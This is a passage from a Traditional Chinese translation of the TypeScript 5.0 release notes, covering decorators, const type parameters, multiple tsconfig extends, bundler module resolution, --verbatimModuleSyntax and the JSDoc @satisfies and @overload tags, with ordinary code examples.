\u0026ldquo;Exiting\u0026hellip;\u0026rdquo; 日誌 返回原始方法返回的任何內容 現在我們可以使用 loggedMethod 來裝飾方法 greet：\n1 2 3 4 5 6 7 8 9 10 11 class Person { name: string; constructor(name: string) { this.name = name; } @loggedMethod greet() { console.log(`Hello, my name is ${this.name}.`); } } 1 2 3 4 5 // Output: // // LOG: Entering method. // Hello, my name is Ron. // LOG: Exiting method. 我們只是在 greet 上面使用了 loggedMethod 作為裝飾器，注意我們把它寫成了 @loggedMethod。當我們這樣做時，它會被 target 方法和 context 對象調用。因為 loggedMethod 返回了一個新函數，該函數替換了 greet。\n我們還沒有提到 loggedMethod 用第二個參數定義的。它被稱為 \u0026ldquo;上下文對象\u0026quot;，它有一些關於如何聲明修飾方法的有用信息，比如它是 #private 成員還是靜態成員，或者方法的名稱是什麼。讓我們重寫 loggedMethod 以利用它並打印出被裝飾的方法的名稱。\n1 2 3 4 5 6 7 8 9 10 11 12 function loggedMethod(originalMethod: any, context: ClassMethodDecoratorContext) { const methodName = String(context.name); function replacementMethod(this: any, ...args: any[]) { console.log(`LOG: Entering method \u0026#39;${methodName}\u0026#39;.`) const result = originalMethod.call(this, ...args); console.log(`LOG: Exiting method \u0026#39;${methodName}\u0026#39;.`) return result; } return replacementMethod; } 我們現在使用 context 參數，它是 loggedMethod 中第一個具有比 any 和 any[] 更嚴格的參數類型。\nTypeScript 提供了一個名為 ClassMethodDecoratorContext 的類型，他對方法裝飾器所接收的上下文對象進行建模。\n除了元數據之外，方法的上下文對象還有一個有用的函數，稱為 addInitializer。這是一種掛鉤到構造函數開頭的方法（如果我們使用 static，則掛鉤到類本身的初始化）。\n例如：在 JavaScript 中，通常會編寫類似以下模式的內容：\n1 2 3 4 5 6 7 8 9 10 11 class Person { name: string; constructor(name: string) { this.name = name; this.greet = this.greet.bind(this); } greet() { console.log(`Hello, my name is ${this.name}.`); } } 或者，greet 可以聲明為初始化為箭頭函數的屬性。\n1 2 3 4 5 6 7 8 9 10 11 class Person { name: string; constructor(name: string) { this.name = name; this.greet = this.greet.bind(this); } greet = () =\u0026gt; { console.log(`Hello, my name is ${this.name}.`); } } 編寫此代碼是為了確保在 greet 作為獨立函數調用或作為回調傳遞 this 時不會重新綁定。\n1 2 3 4 const greet = new Person(\u0026#34;Ron\u0026#34;).greet; // We don\u0026#39;t want this to fail! greet(); 我們可以編寫一個裝飾器，使用 addInitializer 在構造函數中調用 bind。\n1 2 3 4 5 6 7 8 9 function bound(originalMethod: any, context: ClassMethodDecoratorContext) { const methodName = context.name; if (context.private) { throw new Error(`\u0026#39;bound\u0026#39; cannot decorate private properties like ${methodName as string}.`); } context.addInitializer(function () { this[methodName] = this[methodName].bind(this); }); } bound 不返回任何東西——所以當它裝飾一個方法時，它會保留原來的方法。相反，它將在任何其他字段初始化之前添加邏輯。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class Person { name: string; constructor(name: string) { this.name = name; } @bound @loggedMethod greet() { console.log(`Hello, my name is ${this.name}.`); } } const p = new Person(\u0026#34;Ron\u0026#34;); const greet = p.greet; // Works! greet(); 請注意，我們堆疊了兩個裝飾器：@bound 和 @loggedMethod。這些裝飾以**相反的順序**運行。即 @loggedMethod 裝飾原始方法 greet，@bound 裝飾 @loggedMethod 的結果。在此示例中，這並不重要，但如果您的裝飾器有副作用或期望特定順序，則可能會發生這種情況。\n同樣值得注意的是：根據你喜歡代碼風格，可以將這些裝飾器放在同一行。\n1 2 3 @bound @loggedMethod greet() { console.log(`Hello, my name is ${this.name}.`); } 可能不太明顯的是，我們甚至可以創建返回裝飾器函數的函數。這使得定制最終的裝飾器成為可能。如果我們願意，我們可以讓 loggedMethod 返回一個裝飾器並自定義它記錄消息的方式。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 function loggedMethod(headMessage = \u0026#34;LOG:\u0026#34;) { return function actualDecorator(originalMethod: any, context: ClassMethodDecoratorContext) { const methodName = String(context.name); function replacementMethod(this: any, ...args: any[]) { console.log(`${headMessage} Entering method \u0026#39;${methodName}\u0026#39;.`) const result = originalMethod.call(this, ...args); console.log(`${headMessage} Exiting method \u0026#39;${methodName}\u0026#39;.`) return result; } return replacementMethod; } } 如果我們這樣做，我們必須在使用 loggedMethod 作為裝飾器之前調用它。然後我們可以傳入任何字符串作為輸出到控制台的日誌的前綴。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 class Person { name: string; constructor(name: string) { this.name = name; } @loggedMethod(\u0026#34;\u0026#34;) greet() { console.log(`Hello, my name is ${this.name}.`); } } const p = new Person(\u0026#34;Ron\u0026#34;); p.greet(); // Output: // // Entering method \u0026#39;greet\u0026#39;. // Hello, my name is Ron. // Exiting method \u0026#39;greet\u0026#39;. 裝飾器不僅僅可以用在方法上！它們可用於屬性/字段、getter、setter 和自動訪問器。甚至類本身也可以為子類化和註冊之類的事情進行裝飾。\n要深入了解有關裝飾器的更多信息，您可以閱讀 Axel Rauschmayer 的詳盡摘要。\n有關涉及的更改的更多信息，您可以查看原始 pull request。\n與實驗性遺留裝飾器的差異 如果您已經使用 TypeScript 一段時間，您可能會意識到它多年來一直支持\u0026rdquo;實驗性\u0026ldquo;裝飾器。雖然這些實驗性裝飾器非常有用，但它們模擬了一個更舊版本的裝飾器提案，並且始終需要一個名為 --experimentalDecorators。任何在沒有此標誌的情況下嘗試在 TypeScript 中使用裝飾器都會提示錯誤消息。\n--experimentalDecorators 在可預見的未來將繼續存在；然而，如果沒有這個標誌，裝飾器現在將成為所有新代碼的有效語法。在之外 --experimentalDecorators，它們將以不同方式進行類型檢查和釋放。類型檢查規則和emit 完全不同，雖然可以編寫裝飾器來支持舊的和新的裝飾器行為，但任何現有的裝飾器函數都不太可能這樣做。\n這個新的裝飾器提案與 --emitDecoratorMetadata 不兼容，它不允許裝飾參數。未來的 ECMAScript 提案可能會幫助彌合這一差距。\n最後一點：除了允許將裝飾器放在 export 關鍵字之前，裝飾器提案現在還提供了在 export 或 export default 之後放置裝飾器的選項。唯一的例外是不允許混合使用這兩種樣式。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 // allowed @register export default class Foo { // ... } // also allowed export default @register class Bar { // ... } // error - before *and* after is not allowed @before export @after class Bar { // ... } 編寫類型良好的裝飾器 上面的 loggedMethod 和 bound 裝飾器示例有意簡單化並省略了很多關於類型的細節。\n鍵入裝飾器可能相當複雜。例如，上面的類型正確的版本 loggedMethod 可能看起來像這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function loggedMethod\u0026lt;This, Args extends any[], Return\u0026gt;( target: (this: This, ...args: Args) =\u0026gt; Return, context: ClassMethodDecoratorContext\u0026lt;This, (this: This, ...args: Args) =\u0026gt; Return\u0026gt; ) { const methodName = String(context.name); function replacementMethod(this: This, ...args: Args): Return { console.log(`LOG: Entering method \u0026#39;${methodName}\u0026#39;.`) const result = target.call(this, ...args); console.log(`LOG: Exiting method \u0026#39;${methodName}\u0026#39;.`) return result; } return replacementMethod; } 我們必須使用類型參數 This、Args 和 Return 分別定義 this 的類型、參數和原始方法的返回類型。\n裝飾器函數定義的具體複雜程度取決於您要保證的內容。請記住，您的裝飾器將被使用的次數多於它們被編寫的次數，因此類型良好的版本通常更可取——但顯然需要與可讀性進行權衡，因此請盡量保持簡單。\n將來會提供更多關於編寫裝飾器的文檔，但這篇文章應該有大量關於裝飾器機制的細節。\nconst 泛型參數 在推斷對象的類型時，TypeScript 通常會選擇一種通用的類型。例如，在本例中，names 的推斷類型是 string[]：\n1 2 3 4 5 6 7 type HasNames = { readonly names: string[] }; function getNamesExactly\u0026lt;T extends HasNames\u0026gt;(arg: T): T[\u0026#34;names\u0026#34;] { return arg.names; } // Inferred type: string[] const names = getNamesExactly({ names: [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Eve\u0026#34;]}); 通常這樣做的目的是使突變成為可能。\n但是，根據 getNamesExactly 的具體功能和用途，通常需要更具體的類型。\n到目前為止，API 作者通常不得不在某些地方添加 as const 以實現所需的推理：\n1 2 3 4 5 6 7 8 9 // The type we wanted: // readonly [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Eve\u0026#34;] // The type we got: // string[] const names1 = getNamesExactly({ names: [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Eve\u0026#34;]}); // Correctly gets what we wanted: // readonly [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Eve\u0026#34;] const names2 = getNamesExactly({ names: [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Eve\u0026#34;]} as const); 這可能很麻煩且容易忘記。在 TypeScript 5.0 中，您現在可以將 const 修飾符添加到類型參數聲明中，以使 const-like 推理成為默認值：\n1 2 3 4 5 6 7 8 9 type HasNames = { names: readonly string[] }; function getNamesExactly\u0026lt;const T extends HasNames\u0026gt;(arg: T): T[\u0026#34;names\u0026#34;] { // ^^^^^ return arg.names; } // Inferred type: readonly [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Eve\u0026#34;] // Note: Didn\u0026#39;t need to write \u0026#39;as const\u0026#39; here const names = getNamesExactly({ names: [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Eve\u0026#34;] }); 請注意，const 修飾符不拒絕可變值，也不需要不可變約束。使用可變類型約束可能會產生令人驚訝的結果。例如：\n1 2 3 4 declare function fnBad\u0026lt;const T extends string[]\u0026gt;(args: T): void; // \u0026#39;T\u0026#39; is still \u0026#39;string[]\u0026#39; since \u0026#39;readonly [\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;]\u0026#39; is not assignable to \u0026#39;string[]\u0026#39; fnBad([\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34; ,\u0026#34;c\u0026#34;]); 在這裡，推斷的候選項 T 是 readonly [\u0026quot;a\u0026quot;, \u0026quot;b\u0026quot;, \u0026quot;c\u0026quot;]，並且 readonly 不能在需要可變數組的地方使用數組。在這種情況下，推理回退到約束條件，數組被視為 string[]，並且調用仍然成功進行。\n此函數的更好定義應該使用 readonly string[]：\n1 2 3 4 declare function fnGood\u0026lt;const T extends readonly string[]\u0026gt;(args: T): void; // T is readonly [\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;] fnGood([\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34; ,\u0026#34;c\u0026#34;]); 同樣，請記住修飾符 const 僅影響在調用中編寫的對象、數組和原始表達式的推斷，因此不會（或不能）修改的參數不會看到 as const 任何行為變化：\n1 2 3 4 5 declare function fnGood\u0026lt;const T extends readonly string[]\u0026gt;(args: T): void; const arr = [\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34; ,\u0026#34;c\u0026#34;]; // \u0026#39;T\u0026#39; is still \u0026#39;string[]\u0026#39;-- the \u0026#39;const\u0026#39; modifier has no effect here fnGood(arr); 有關更多詳細信息，請參閱拉取請求和（第一個和第二個）激勵問題。\nextends 支持多個配置文件 tsconfig.json 管理多個項目時，擁有一個其他文件可以擴展的\u0026quot;基本\u0026quot;配置文件會很有幫助。這就是為什麼 TypeScript 支持 extends 在 compilerOptions。\n1 2 3 4 5 6 7 8 // packages/front-end/src/tsconfig.json { \u0026#34;extends\u0026#34;: \u0026#34;../../../tsconfig.base.json\u0026#34;, \u0026#34;compilerOptions\u0026#34;: { \u0026#34;outDir\u0026#34;: \u0026#34;../lib\u0026#34;, // ... } } 但是，在某些情況下，您可能希望從多個配置文件進行擴展。例如：假設使用發送到 npm 的 TypeScript 基本配置文件。如果您希望所有項目也使用 npm 包中的選項 @tsconfig/strictest，那麼有一個簡單的解決方案：擴展 tsconfig.base.json 自 @tsconfig/strictest：\n1 2 3 4 5 6 7 // tsconfig.base.json { \u0026#34;extends\u0026#34;: \u0026#34;@tsconfig/strictest/tsconfig.json\u0026#34;, \u0026#34;compilerOptions\u0026#34;: { // ... } } 這在一定程度上起作用。如果您有任何項目不想使用 @tsconfig/strictest，他們必須手動禁用這些選項，或者創建一個短度的 tsconfig.base.json 版本，該版本不擴展 @tsconfig/strictest。\n為了在此處提供更多靈活性，Typescript 5.0 現在允許該 extends 字段採用多個條目。例如，在這個配置文件中：\n1 2 3 4 5 6 { \u0026#34;extends\u0026#34;: [\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;], \u0026#34;compilerOptions\u0026#34;: { // ... } } 寫這個有點像 c 直接擴展，其中 c extends b 和 b extends a。如果任何字段\u0026quot;衝突\u0026rdquo;，則後一個條目獲勝。\n所以在下面的例子中，和 strictNullChecks 都 noImplicitAny 在最終的 tsconfig.json。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // tsconfig1.json { \u0026#34;compilerOptions\u0026#34;: { \u0026#34;strictNullChecks\u0026#34;: true } } // tsconfig2.json { \u0026#34;compilerOptions\u0026#34;: { \u0026#34;noImplicitAny\u0026#34;: true } } // tsconfig.json { \u0026#34;extends\u0026#34;: [\u0026#34;./tsconfig1.json\u0026#34;, \u0026#34;./tsconfig2.json\u0026#34;], \u0026#34;files\u0026#34;: [\u0026#34;./index.ts\u0026#34;] } 再舉一個例子，我們可以用下面的方式重寫我們原來的例子。\n1 2 3 4 5 6 7 8 // packages/front-end/src/tsconfig.json { \u0026#34;extends\u0026#34;: [\u0026#34;@tsconfig/strictest/tsconfig.json\u0026#34;, \u0026#34;../../../tsconfig.base.json\u0026#34;], \u0026#34;compilerOptions\u0026#34;: { \u0026#34;outDir\u0026#34;: \u0026#34;../lib\u0026#34;, // ... } } 有關更多詳細信息，請閱讀有關原始拉取請求的更多信息。\n所有枚舉都是聯合枚舉 當 TypeScript 最初引入枚舉時，它們只不過是一組具有相同類型的數字常量。\n1 2 3 4 enum E { Foo = 10, Bar = 20, } E.Foo 和 E.Bar 的唯一特別之處在於它們可以賦值給除 E 類型之外的任何類型。除此之外，他們幾乎只是 numbers。\n1 2 3 4 function takeValue(e: E) {} takeValue(E.Foo); // works takeValue(123); // error! 直到 TypeScript 2.0 引入了枚舉文字類型，枚舉才變得更加特殊。枚舉文字類型為每個枚舉成員提供了自己的類型，並將枚舉本身變成了每個成員類型的聯合。它們還允許我們僅引用枚舉類型的一個子集，並縮小這些類型的範圍。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // Color is like a union of Red | Orange | Yellow | Green | Blue | Violet enum Color { Red, Orange, Yellow, Green, Blue, /* Indigo */, Violet } // Each enum member has its own type that we can refer to! type PrimaryColor = Color.Red | Color.Green | Color.Blue; function isPrimaryColor(c: Color): c is PrimaryColor { // Narrowing literal types can catch bugs. // TypeScript will error here because // we\u0026#39;ll end up comparing \u0026#39;Color.Red\u0026#39; to \u0026#39;Color.Green\u0026#39;. // We meant to use ||, but accidentally wrote \u0026amp;\u0026amp;. return c === Color.Red \u0026amp;\u0026amp; c === Color.Green \u0026amp;\u0026amp; c === Color.Blue; } 為每個枚舉成員賦予其自己的類型的一個問題是，這些類型在某些部分與成員的實際值相關聯。在某些情況下，無法計算該值——例如，枚舉成員可以通過函數調用進行初始化。\n1 2 3 enum E { Blah = Math.random() } 每當 TypeScript 遇到這些問題時，它都會悄悄退出並使用舊的枚舉策略。這意味著放棄聯合和文字類型的所有優勢。\nTypeScript 5.0 通過為每個計算成員創建唯一類型，設法將所有枚舉變成聯合枚舉。這意味著現在可以縮小所有枚舉的範圍，並將其成員也作為類型引用。\n有關此更改的更多詳細信息，您可以閱讀GitHub 上的詳細信息。\n--moduleResolution 新增 bundler 支持 TypeScript 4.7 在 --module 和 --moduleResolution 設置中引入了 node16 和 nodenext 選項。這些選項的目的是更好地模擬 Node.js 中 ECMAScript 模塊的精確查找規則；然而這種模式有很多限制，其他工具並沒有真正強制執行。\n例如，在 Node.js 的 ECMAScript 模塊中，任何相對導入都需要包含文件副檔名。\n1 2 3 4 // entry.mjs import * as utils from \u0026#34;./utils\u0026#34;; // wrong - we need to include the file extension. import * as utils from \u0026#34;./utils.mjs\u0026#34;; // works 在 Node.js 和瀏覽器中這樣做有一定的原因，它使文件查找更快，並且更適合原始文件服務器。但是對於許多使用捆綁器等工具的開發人員來說，node16/nodenext 設置很麻煩，因為捆綁器沒有這些限制中的大部分。在某些方面，node 解析模式對任何使用捆綁器的人來說都更好。\n但在某些方面，原有的 node 解決模式已經落伍了。大多數現代捆綁器在 Node.js 中使用 ECMAScript 模塊和 CommonJS 查找規則的融合。例如：無擴展名的導入就像在 CommonJS 中一樣工作得很好，但是在查看包的 export 條件時，他們會更喜歡 ECMAScript 文件中的 import 條件。\n為了模擬打包器的工作方式，TypeScript 現在引入了一種新策略：--moduleResolution bundler。\n1 2 3 4 5 6 { \u0026#34;compilerOptions\u0026#34;: { \u0026#34;target\u0026#34;: \u0026#34;esnext\u0026#34;, \u0026#34;moduleResolution\u0026#34;: \u0026#34;bundler\u0026#34; } } 如果您正在使用像 Vite、esbuild、swc、Webpack、Parcel 和其他實施混合查找策略的現代捆綁器，那麼新選項 bundler 應該非常適合您。\n另一方面，如果您正在編寫一個打算在 npm 上發布的庫，則使用該 bundler 選項可以隱藏兼容性問題，這些問題可能會出現在您不使用捆綁器的用戶身上。因此，在這些情況下，使用 node16 或 nodenext 解決方案可能是更好的途徑。\n要了解更多信息 --moduleResolution bundler，請查看拉取請求。\n自定義解析標誌 JavaScript 工具現在可以模擬\u0026quot;混合\u0026quot;解析規則，就像 bundler 我們上面描述的模式一樣。由於工具的支持可能略有不同，TypeScript 5.0 提供了啟用或禁用一些功能的方法，這些功能可能適用於您的配置，也可能不適用於您的配置。\nallowImportingTsExtensions --allowImportingTsExtensions 允許使用特定於 TypeScript 的擴展名（如 .ts、.mts或 .tsx）。\n此標誌僅在 --noEmit 或 --emitDeclarationOnly 啟用時才被允許，因為這些導入路徑在運行時無法在 JavaScript 輸出文件中解析。這裡的期望是您的解析器（例如您的捆綁器、運行時或其他一些工具）將使這些 .ts 文件之間的導入工作。\nresolvePackageJsonExports --resolvePackageJsonExports 強制 TypeScript 解析 package.json 的 exports 字段，如果曾經從 node_modules 中的讀取過 json 文件。\n當配置項 --modulerresolve 為 node16、nodenext 和 bundler 時，該選項默認為 true。\nresolvePackageJsonImports --resolvePackageJsonImports 強制 TypeScript 在從其祖先目錄包含 package.json 的文件執行以 # 開頭的查找時查詢 package.json 文件的導入字段。\n當配置項 --modulerresolve 為 node16、nodenext 和 bundler 時，該選項默認為 true。\nallowArbitraryExtensions 在 TypeScript 5.0 中，當導入路徑不是已知 JavaScript 或 TypeScript 文件擴展名的擴展名結尾時，編譯器將以 {file basename}.d.{extension}.ts。例如，如果您在捆綁項目中使用 CSS 加載器，您可能希望為這些樣式表編寫（或生成）聲明文件：\napp.css 1 2 3 .cookie-banner { display: none; } app.d.css.ts 1 2 3 4 declare const css: { cookieBanner: string; }; export default css; App.tsx 1 2 3 import styles from \u0026#34;./app.css\u0026#34;; styles.cookieBanner; // string 默認情況下，此導入會引發錯誤，讓您知道 TypeScript 不理解此文件類型，並且您的運行時可能不支持導入它。但是如果您已配置運行時或捆綁程序來處理它，則可以使用新的 --allowArbitraryExtensions 編譯器選項來抑制錯誤。\n請注意，從歷史上看，通過添加名為 app.css.d.ts 的聲明文件而不是 app.d.css.ts，通常可以達到類似的效果——然而，這只是通過 Node 對 CommonJS 的 require 解析規則起作用。嚴格來說，前者被解釋為一個名為 app.css.js 的 JavaScript 文件的聲明文件。因為相對文件導入需要在 Node 的 ESM 支持中包含擴展名，所以 TypeScript 會在我們的示例中 --moduleResolution node16 或在 nodenext 下的ESM 文件中出錯。\n有關更多信息，請閱讀此功能的提案及其相應的拉取請求。\ncustomConditions --customConditions 接收一個附加條件列表，當 TypeScript 從 package.json 的 exports 或 imports 字段解析時，這些條件將添加到解析器默認使用的任何現有條件中。\n例如：當在 tsconfig.json 中設置此字段時：\n1 2 3 4 5 6 7 { \u0026#34;compilerOptions\u0026#34;: { \u0026#34;target\u0026#34;: \u0026#34;es2022\u0026#34;, \u0026#34;moduleResolution\u0026#34;: \u0026#34;bundler\u0026#34;, \u0026#34;customConditions\u0026#34;: [\u0026#34;my-condition\u0026#34;] } } 任何時候在 package.json 中引用 exports 或 imports 字段時，TypeScript 都會考慮調用 my-condition 的條件。\n因此，當從具有以下內容的包中導入時 package.json：\n1 2 3 4 5 6 7 8 9 10 11 { // ... \u0026#34;exports\u0026#34;: { \u0026#34;.\u0026#34;: { \u0026#34;my-condition\u0026#34;: \u0026#34;./foo.mjs\u0026#34;, \u0026#34;node\u0026#34;: \u0026#34;./bar.mjs\u0026#34;, \u0026#34;import\u0026#34;: \u0026#34;./baz.mjs\u0026#34;, \u0026#34;require\u0026#34;: \u0026#34;./biz.mjs\u0026#34; } } } TypeScript 將嘗試查找與 foo.mjs 對應的文件。\n該字段僅在 --moduleResolution 的 node16、nodenext 和 bundler 選項下有效。\n--verbatimModuleSyntax 默認情況下，TypeScript 會做一些叫做 import elision 的事情。基本上，如果你寫類似：\n1 2 3 4 5 import { Car } from \u0026#34;./car\u0026#34;; export function drive(car: Car) { // ... } TypeScript 檢測到您只對類型使用導入，所以輸出結果會將此導入代碼刪除。您的輸出 JavaScript 可能看起來像這樣：\n1 2 3 export function drive(car) { // ... } 大多數時候這很好，因為如果 Car 不是從 ./car 導出的值，我們將收到運行時錯誤。\n但它確實為某些邊緣情況增加了一層複雜性。例如：請注意沒有像這樣的語句 import \u0026quot;./car\u0026quot;;，導入被完全刪除。這實際上對有無副作用的模塊產生影響。\nTypeScript 針對 JavaScript 的 emit 策略還有另外幾層複雜性，導入省略並不總是由導入的使用方式驅動，它通常還會參考值的聲明方式。所以並不總是很清楚是否像下面這樣的代碼：\n1 export { Car } from \u0026#34;./car\u0026#34;; 應該保留或丟棄。如果 Car 用 class 之類的東西聲明，那麼它可以保存在生成的 JavaScript 文件中。但如果 Car 僅聲明為 type 別名或 interface，則 JavaScript 文件 Car 根本不應導出。\n雖然 TypeScript 可能能夠根據來自跨文件的信息做出這些發出決定，但並非每個編譯器都可以。\nimports 和 exports 的修飾符 type 對這些情況有點幫助。我們可以明確指出導入或導出是否僅用於類型分析，並且可以通過使用修飾符將其完全刪除到 JavaScript 文件中 type。\n1 2 3 4 5 6 // This statement can be dropped entirely in JS output import type * as car from \u0026#34;./car\u0026#34;; // The named import/export \u0026#39;Car\u0026#39; can be dropped in JS output import { type Car } from \u0026#34;./car\u0026#34;; export { type Car } from \u0026#34;./car\u0026#34;; type 修飾符本身並不是很有用，默認情況下，模塊省略仍然會刪除導入，並且沒有什麼強制您區分 type 普通導入和導出。所以 TypeScript 有標誌 --importsNotUsedAsValues 來確保你使用 type 修飾符，--preserveValueImports 以防止某些模塊省略行為，並 --isolatedModules 確保你的 TypeScript 代碼適用於不同的編譯器。不幸的是，很難理解這 3 個標誌的細節，並且仍然存在一些具有意外行為的邊緣情況。\n--verbatimModuleSyntax TypeScript 5.0 引入了一個名為簡化情況的新選項。規則要簡單得多：任何沒有 type 修飾符的導入或導出都會被保留。任何使用 type 修飾符的東西都會被完全丟棄。\n1 2 3 4 5 6 7 8 // Erased away entirely. import type { A } from \u0026#34;a\u0026#34;; // Rewritten to \u0026#39;import { b } from \u0026#34;bcd\u0026#34;;\u0026#39; import { b, type c, type d } from \u0026#34;bcd\u0026#34;; // Rewritten to \u0026#39;import {} from \u0026#34;xyz\u0026#34;;\u0026#39; import { type xyz } from \u0026#34;xyz\u0026#34;; 有了這個新選項，所見即所得。\n不過當涉及到模塊互操作時，這確實有一些影響。在此標誌下，當您的設置或文件擴展名暗示不同的模塊系統時，ECMAScript imports 和 exports 不會被重寫為 require 調用。相反，你會得到一個錯誤。如果您需要發出使用 require 和 module.exports 的代碼，則必須使用早於 ES2015 的 TypeScript 模塊語法：\n輸入 TypeScript 輸出 JavaScript import foo = require(\u0026ldquo;foo\u0026rdquo;); const foo = require(\u0026ldquo;foo\u0026rdquo;); function foo() {} function bar() {} function baz() {} export = { foo, bar, baz }; function foo() {} function bar() {} function baz() {} module.exports = { foo, bar, baz }; 雖然這是一個限制，但它確實有助於使一些問題更加明顯。例如，忘記在 package.json 中設置 type 字段是很常見的。--module node16。因此，開發人員會在沒有意識到的情況下開始編寫 CommonJS 模塊而不是 ES 模塊，從而提供令人驚訝的查找規則和 JavaScript 輸出。這個新標誌確保您有意使用您正在使用的文件類型，因為語法是有意不同的。\n因為 --verbatimModuleSyntax 提供了比 --importsNotUsedAsValues 和 --preserveValueImports 更一致的故事，所以這兩個現有的標誌已被棄用。\n有關更多詳細信息，請閱讀原始拉取請求及其提案問題。\n支持 export type * 當 TypeScript 3.8 引入純類型導入時，新語法不允許用於 export * from \u0026quot;module\u0026quot; 或 export * as ns from \u0026quot;module\u0026quot; 重新導出。TypeScript 5.0 添加了對這兩種形式的支持：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // models/vehicles.ts export class Spaceship { // ... } // models/index.ts export type * as vehicles from \u0026#34;./vehicles\u0026#34;; // main.ts import { vehicles } from \u0026#34;./models\u0026#34;; function takeASpaceship(s: vehicles.Spaceship) { // ok - `vehicles` only used in a type position } function makeASpaceship() { return new vehicles.Spaceship(); // ^^^^^^^^ // \u0026#39;vehicles\u0026#39; cannot be used as a value because it was exported using \u0026#39;export type\u0026#39;. } 您可以在此處閱讀有關實施的更多信息。\nJSDoc 支持 @satisfies TypeScript 4.9 引入了 satisfies 運算符。它確保表達式的類型兼容，而不影響類型本身。例如，讓我們看下面的代碼：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 interface CompilerOptions { strict?: boolean; outDir?: string; // ... } interface ConfigSettings { compilerOptions?: CompilerOptions; extends?: string | string[]; // ... } let myConfigSettings = { compilerOptions: { strict: true, outDir: \u0026#34;../lib\u0026#34;, // ... }, extends: [ \u0026#34;@tsconfig/strictest/tsconfig.json\u0026#34;, \u0026#34;../../../tsconfig.base.json\u0026#34; ], } satisfies ConfigSettings; 在這裡，TypeScript 知道它 myConfigSettings.extends 是用數組聲明的，因為在 satisfies 驗證我們對象的類型時，它並沒有直接將其更改為 ConfigSettings 並丟失信息。所以如果我們想映射過來 extends，那很好。\n1 2 3 declare function resolveConfig(configPath: string): CompilerOptions; let inheritedConfigs = myConfigSettings.extends.map(resolveConfig); 這對 TypeScript 用戶很有幫助，但是很多人使用 TypeScript 來使用 JSDoc 註釋對他們的 JavaScript 代碼進行類型檢查。這就是為什麼 TypeScript 5.0 支持一個名為 JSDoc 的新標籤，@satisfies 它做的事情完全一樣。\n/** @satisfies */ 可以捕獲類型不匹配：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // @ts-check /** * @typedef CompilerOptions * @prop {boolean} [strict] * @prop {string} [outDir] */ /** * @satisfies {CompilerOptions} */ let myCompilerOptions = { outdir: \u0026#34;../lib\u0026#34;, // ~~~~~~ oops! we meant outDir }; 但它會保留我們表達式的原始類型，允許我們稍後在代碼中更精確地使用我們的值。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // @ts-check /** * @typedef CompilerOptions * @prop {boolean} [strict] * @prop {string} [outDir] */ /** * @typedef ConfigSettings * @prop {CompilerOptions} [compilerOptions] * @prop {string | string[]} [extends] */ /** * @satisfies {ConfigSettings} */ let myConfigSettings = { compilerOptions: { strict: true, outDir: \u0026#34;../lib\u0026#34;, }, extends: [ \u0026#34;@tsconfig/strictest/tsconfig.json\u0026#34;, \u0026#34;../../../tsconfig.base.json\u0026#34; ], }; let inheritedConfigs = myConfigSettings.extends.map(resolveConfig); /** @satisfies */ 也可以在任何帶括號的表達式上內聯使用。我們可以 myConfigSettings 這樣寫：\n1 2 3 4 5 6 7 8 9 10 let myConfigSettings = /** @satisfies {ConfigSettings} */ ({ compilerOptions: { strict: true, outDir: \u0026#34;../lib\u0026#34;, }, extends: [ \u0026#34;@tsconfig/strictest/tsconfig.json\u0026#34;, \u0026#34;../../../tsconfig.base.json\u0026#34; ], }); 為什麼？當您更深入地了解其他一些代碼（例如函數調用）時，它通常更有意義。\n1 2 3 compileCode(/** @satisfies {ConfigSettings} */ ({ // ... })); 此功能由 Oleksandr Tarasiuk提供！\nJSDoc 支持 @overload 在 TypeScript 中，您可以為函數指定重載。重載為我們提供了一種方式，可以用不同的參數調用一個函數，並可能返回不同的結果。他們可以限制調用者實際使用我們函數的方式，並優化他們將返回的結果。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // Our overloads: function printValue(str: string): void; function printValue(num: number, maxFractionDigits?: number): void; // Our implementation: function printValue(value: string | number, maximumFractionDigits?: number) { if (typeof value === \u0026#34;number\u0026#34;) { const formatter = Intl.NumberFormat(\u0026#34;en-US\u0026#34;, { maximumFractionDigits, }); value = formatter.format(value); } console.log(value); } 在這裡，我們說過 printValue 將 string 或 number 作為其第一個參數。如果它需要一個 number，它可以使用第二個參數來確定我們可以打印多少個小數位。\nTypeScript 5.0 現在允許 JSDoc 使用新標籤聲明重載 @overload。每個帶有標記的 JSDoc 註釋都 @overload 被視為以下函數聲明的不同重載。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // @ts-check /** * @overload * @param {string} value * @return {void} */ /** * @overload * @param {number} value * @param {number} [maximumFractionDigits] * @return {void} */ /** * @param {string | number} value * @param {number} [maximumFractionDigits] */ function printValue(value, maximumFractionDigits) { if (typeof value === \u0026#34;number\u0026#34;) { const formatter = 